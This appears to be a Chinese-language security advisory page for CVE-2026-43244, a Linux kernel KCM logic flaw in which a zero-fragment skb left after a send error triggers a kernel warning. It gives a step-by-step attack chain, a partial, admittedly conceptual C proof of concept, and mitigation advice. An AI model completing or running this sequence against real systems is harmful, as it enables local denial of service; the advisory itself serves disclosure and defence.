IPBUF安全漏洞报告
English
CVE-2026-43244 CVSS 5.5 中危

CVE-2026-43244 Linux内核KCM零片段skb逻辑漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43244
漏洞类型
逻辑错误
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelCVE-2026-43244DoSKCMLocalLogic Error

漏洞概述

Linux内核KCM组件存在逻辑漏洞。在处理部分发送错误时,frag_list中可能残留零片段的skb。攻击者利用此漏洞,通过精心构造的发送序列,可触发内核警告,导致系统资源耗尽或拒绝服务。

技术细节

漏洞位于net/kcm/kcmsock.c的kcm_sendmsg函数中。当数据发送导致skb片段数组填满(达到MAX_SKB_FRAGS)时,内核分配新skb并链入frag_list。若此时数据拷贝失败(如用户态内存异常),该新skb保持零片段状态。对于SOCK_SEQPACKET,随后的零长度写入会触发MSG_EOR,将包含空skb的消息链加入发送队列。kcm_write_msgs在处理队列时,因无法容忍零片段skb而触发WARN_ON。修复补丁通过引入frag_prev指针,在错误路径中高效移除并释放无效skb。

攻击链分析

STEP 1
1. 环境准备
攻击者需具备本地低权限账户,并能够创建KCM套接字。
STEP 2
2. 填充缓冲区
向KCM套接字发送大量数据,填满当前skb的片段数组(MAX_SKB_FRAGS),迫使内核分配新的skb并加入frag_list。
STEP 3
3. 触发错误
在分配新skb后,立即触发数据拷贝失败(例如通过访问无效内存),导致新skb保留零片段状态。
STEP 4
4. 完成消息
发送零长度数据,触发MSG_EOR标志,将包含畸形skb的消息链加入发送队列。
STEP 5
5. 触发漏洞
内核处理发送队列时,kcm_write_msgs遍历frag_list发现零片段skb,触发WARN_ON警告,可能导致系统日志泛滥或崩溃。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/kcm.h> /* * PoC for CVE-2026-43244 * Demonstrates the sequence to trigger the zero-frag skb warning. * Requires proper KCM setup and privileges. */ int main() { int sock; char *buf; size_t buf_size = 1024 * 1024; // Large enough to fill frags // Create a KCM socket sock = socket(AF_KCM, SOCK_SEQPACKET, 0); if (sock < 0) { perror("socket"); return 1; } // Note: Real exploitation requires attaching to a KCM multiplexor // and transport, which involves setup not shown here. buf = malloc(buf_size); memset(buf, 'A', buf_size); // Step 1: Fill MAX_SKB_FRAGS to trigger allocation of tskb in frag_list send(sock, buf, buf_size, 0); // Step 2: Trigger copy error (Conceptual) // In a real scenario, this involves causing an EFAULT or other error // immediately after the allocation but before filling tskb. // send(sock, invalid_ptr, size, 0); // Step 3: Zero-length write to complete the message (MSG_EOR) // This queues the message with the empty skb send(sock, NULL, 0, 0); free(buf); close(sock); return 0; }

影响范围

Linux Kernel(修复提交前的版本,具体见参考Git链接)

防御指南

临时缓解措施
如果系统不使用KCM功能,可以通过禁用内核KCM模块来缓解风险。此外,严格限制本地用户权限,防止恶意代码触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表